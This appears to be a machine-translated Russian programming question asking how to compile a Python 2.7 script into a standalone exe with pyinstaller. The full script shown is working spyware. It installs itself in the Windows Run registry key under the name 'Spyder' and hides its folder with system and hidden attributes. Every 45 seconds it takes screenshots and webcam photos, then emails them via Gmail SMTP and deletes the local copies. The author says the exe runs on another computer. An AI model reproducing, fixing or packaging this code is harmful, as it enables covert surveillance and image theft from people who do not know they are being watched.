Я написал программу, которая делает снимок с моей веб-камеры, а также делает снимок экрана моего экрана и отправляет их на мою электронную почту. Я использовал модуль SimpleCV, чтобы сделать снимок с веб-камеры, и модуль pyautogui, чтобы сделать скриншот моего экрана. Я скомпилировал свой скрипт с помощью pyinstaller с помощью команды pyinstaller -w -i myicon.ico web_shot.py -F Я запустил скомпилированный exe-файл на другом компьютере, но дал мне фатальная ошибка, не удалось выполнить web_shot . Позже я удалил все, что связано с pyautogui (, думая, что это то, что выдает ошибку ). Я снова скомпилировал остальную часть моего сценария и снова получил ту же ошибку. Я снова подумал, что проблема может быть в модуле SimpleCV, поэтому я удалил все, что связано с модулем SimpleCV, и снова скомпилировал оставшуюся часть скрипта, используя pyinstaller. На этот раз я не получил никакой ошибки. Работало нормально.
Я написал все свои коды в Python 2.7.15 (32-разрядная версия), потому что модуль SimpleCV не поддерживает Python 3+.
Я думаю, что pyinstaller не может распознать или скомпилировать модуль SimpleCV. Я пробовал другой скрипт компиляции, такой как py2exe, cx_Freeze, но не смог добиться успеха.
Мой сценарий:
import os
import time
import string
import random
import smtplib
import _winreg
import requests
import pyautogui
import subprocess
from email import Encoders
from SimpleCV import Camera
from email.MIMEBase import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
fromadd = 'fromadd@gmail.com'
toadd = 'toadd@gmail.com'
password = 'Password'
cam = Camera()
def is_at_startup():
areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
try:
akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Web_Shot.exe', 0, _winreg.KEY_WRITE)
areg.Close()
akey.Close()
except WindowsError:
key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
_winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Web_Shot\Web_Shot.exe')
areg.Close()
key.Close()
def naming():
global name
global clock
global webcam_name
global screenshot_name
name = ''
for i in range(10):
x = random.randint(0, 61)
name += string.printable[x]
clock = time.ctime().replace(':', '-')
screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
webcam_name = clock + ' _Webcam_ ' + name + '.jpg'
def make_folder():
if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
if os.path.exists(os.path.join('C:' + os.sep, 'root')):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
pass
if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
pass
if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
os.mkdir(os.path.join('C:' + os.sep, 'root'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
if not os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
def is_internet():
try:
requests.get("http://www.google.com")
return True
except requests.ConnectionError:
return False
def login():
global msg
sessions = smtplib.SMTP('smtp.gmail.com', '587')
sessions.ehlo()
sessions.starttls()
sessions.ehlo()
sessions.login(fromadd, password)
sessions.sendmail(fromadd, toadd, msg.as_string())
sessions.quit()
msg = MIMEMultipart()
def capturing():
os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_name)
web_pic = cam.getImage()
web_pic.save(webcam_name)
def no_internet_screenshot():
os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_name)
def no_internet_webcam():
os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
web_pic = cam.getImage()
web_pic.save(webcam_name)
def send_mail(fromadd, toadd):
global msg
msg = MIMEMultipart()
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = '-- Screenshot & Webcam - Internet Connection'
screenshot_data = open(screenshot_name, 'rb').read()
webcam_data = open(webcam_name, 'rb').read()
send_screenshot = MIMEImage(screenshot_data, name=os.path.basename(screenshot_name))
send_webcam_pic = MIMEImage(webcam_data, name=os.path.basename(webcam_name))
msg.attach(send_screenshot)
msg.attach(send_webcam_pic)
if is_internet():
login()
for f in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
os.remove(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet', f))
def no_internet_sending_screenshot(fromadd, toadd):
global msg
msg = MIMEMultipart()
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = '-- Screenshot - No Internet'
screenshot_path = []
del_path = []
screenshot_num = 0
for screenshot_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Screenshot' + os.sep, screenshot_image)
screenshot_path.append(abs_path)
while len(screenshot_path) > 0:
if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')) > 0:
for screenshot_img in screenshot_path:
if len(screenshot_path) > 100:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(screenshot_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
msg.attach(part)
del_path.append(screenshot_img)
screenshot_num += 1
if screenshot_num == 100:
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
screenshot_path.remove(dlt)
os.remove(dlt)
del_path = []
screenshot_num = 0
else:
for screenshot_img in screenshot_path:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(screenshot_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
msg.attach(part)
del_path.append(screenshot_img)
screenshot_num += 1
if screenshot_num == len(screenshot_path):
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
screenshot_path.remove(dlt)
os.remove(dlt)
del_path = []
else:
break
def no_internet_sending_webcam(fromadd, toadd):
global msg
msg = MIMEMultipart()
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = '-- Webcam pic - No Internet'
webcam_path = []
del_path = []
webcam_num = 0
for webcam_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Webcam' + os.sep, webcam_image)
webcam_path.append(abs_path)
while len(webcam_path) > 0:
if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) > 0:
for webcam_img in webcam_path:
if len(webcam_path) > 100:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(webcam_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
msg.attach(part)
del_path.append(webcam_img)
webcam_num += 1
if webcam_num == 100:
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
webcam_path.remove(dlt)
os.remove(dlt)
del_path = []
webcam_num = 0
else:
for webcam_img in webcam_path:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(webcam_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
msg.attach(part)
del_path.append(webcam_img)
webcam_num += 1
if webcam_num == len(webcam_path):
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
webcam_path.remove(dlt)
os.remove(dlt)
del_path = []
else:
break
def main():
is_at_startup()
make_folder()
while True:
naming()
if is_internet():
no_internet_sending_screenshot(fromadd, toadd)
no_internet_sending_webcam(fromadd, toadd)
capturing()
send_mail(fromadd, toadd)
time.sleep(45)
else:
no_internet_screenshot()
no_internet_webcam()
time.sleep(45)
if __name__ == '__main__':
main()
Как мне скомпилировать этот скрипт без получения фатальной ошибки?